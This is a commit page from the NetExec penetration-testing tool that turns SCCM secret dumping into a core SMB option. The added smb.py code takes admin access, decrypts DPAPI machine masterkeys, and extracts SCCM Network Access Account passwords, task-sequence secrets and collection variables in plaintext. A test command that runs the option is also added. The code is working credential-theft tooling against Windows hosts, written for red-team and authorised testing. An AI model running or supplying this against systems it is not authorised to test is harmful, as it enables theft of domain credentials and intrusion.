Skip to content

Commit 1c740bd

Browse files
committed
changed sccm to go as a core option
1 parent f530cbd commit 1c740bd

4 files changed

Lines changed: 63 additions & 99 deletions

File tree

nxc/modules/sccm.py

Lines changed: 0 additions & 99 deletions
This file was deleted.

nxc/protocols/smb.py

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -55,6 +55,7 @@
5555
from dploot.triage.backupkey import BackupkeyTriage
5656
from dploot.lib.target import Target
5757
from dploot.lib.smb import DPLootSMBConnection
58+
from dploot.triage.sccm import SCCMTriage, SCCMCollection, SCCMCred, SCCMSecret
5859

5960
from pywerview.cli.helpers import get_localdisks, get_netsession, get_netgroupmember, get_netgroup, get_netcomputer, get_netloggedon, get_netlocalgroup
6061

@@ -1325,6 +1326,66 @@ def add_sam_hash(sam_hash, host_id):
13251326
except Exception as e:
13261327
self.logger.exception(str(e))
13271328

1329+
@requires_admin
1330+
def sccm(self):
1331+
logging.getLogger("dploot").disabled = True
1332+
masterkeys = []
1333+
if self.args.mkfile is not None:
1334+
try:
1335+
masterkeys += parse_masterkey_file(self.args.mkfile)
1336+
except Exception as e:
1337+
self.logger.fail(str(e))
1338+
1339+
target = Target.create(
1340+
domain=self.domain,
1341+
username=self.username,
1342+
password=self.password,
1343+
target=self.hostname + "." + self.domain if self.kerberos else self.host,
1344+
lmhash=self.lmhash,
1345+
nthash=self.nthash,
1346+
do_kerberos=self.kerberos,
1347+
aesKey=self.aesKey,
1348+
no_pass=True,
1349+
use_kcache=self.use_kcache,
1350+
)
1351+
1352+
try:
1353+
conn = DPLootSMBConnection(target)
1354+
conn.smb_session = self.conn
1355+
except Exception as e:
1356+
self.logger.debug(f"Could not upgrade connection: {e}")
1357+
return
1358+
1359+
try:
1360+
self.logger.display("Collecting Machine masterkeys, grab a coffee and be patient...")
1361+
masterkeys_triage = MasterkeysTriage(
1362+
target=target,
1363+
conn=conn,
1364+
pvkbytes=self.pvkbytes,
1365+
)
1366+
masterkeys += masterkeys_triage.triage_system_masterkeys()
1367+
except Exception as e:
1368+
self.logger.debug(f"Could not get masterkeys: {e}")
1369+
1370+
if len(masterkeys) == 0:
1371+
self.logger.fail("No masterkeys looted")
1372+
return
1373+
1374+
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials")
1375+
try:
1376+
# Collect Chrome Based Browser stored secrets
1377+
sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys)
1378+
sccm_creds = sccm_triage.triage_sccm()
1379+
for credential in sccm_creds:
1380+
if isinstance(credential, SCCMCred):
1381+
self.logger.highlight(f"[NAA Account] {credential.username.decode('latin-1')}:{credential.password.decode('latin-1')}")
1382+
elif isinstance(credential, SCCMSecret):
1383+
self.logger.highlight(f"[Task sequences secret] {credential.secret.decode('latin-1')}")
1384+
elif isinstance(credential, SCCMCollection):
1385+
self.logger.highlight(f"[Collection Variable] {credential.variable.decode('latin-1')}:{credential.value.decode('latin-1')}")
1386+
except Exception as e:
1387+
self.logger.debug(f"Error while looting wifi: {e}")
1388+
13281389
@requires_admin
13291390
def dpapi(self):
13301391
dump_system = "nosystem" not in self.args.dpapi

nxc/protocols/smb/proto_args.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,7 @@ def proto_args(parser, std_parser, module_parser):
2222
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
2323
cgroup.add_argument("--ntds", choices={"vss", "drsuapi"}, nargs="?", const="drsuapi", help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)")
2424
cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help='dump DPAPI secrets from target systems, can dump cookies if you add "cookies", will not dump SYSTEM dpapi if you add nosystem\n')
25+
cgroup.add_argument("--sccm", action="store_true", help="dump SCCM secrets from target systems")
2526

2627
ngroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
2728
ngroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")

tests/e2e_commands.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam
1919
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds
2020
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa
2121
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi
22+
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm
2223
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x whoami
2324
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X whoami
2425
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X whoami --obfs

0 commit comments

Comments
 (0)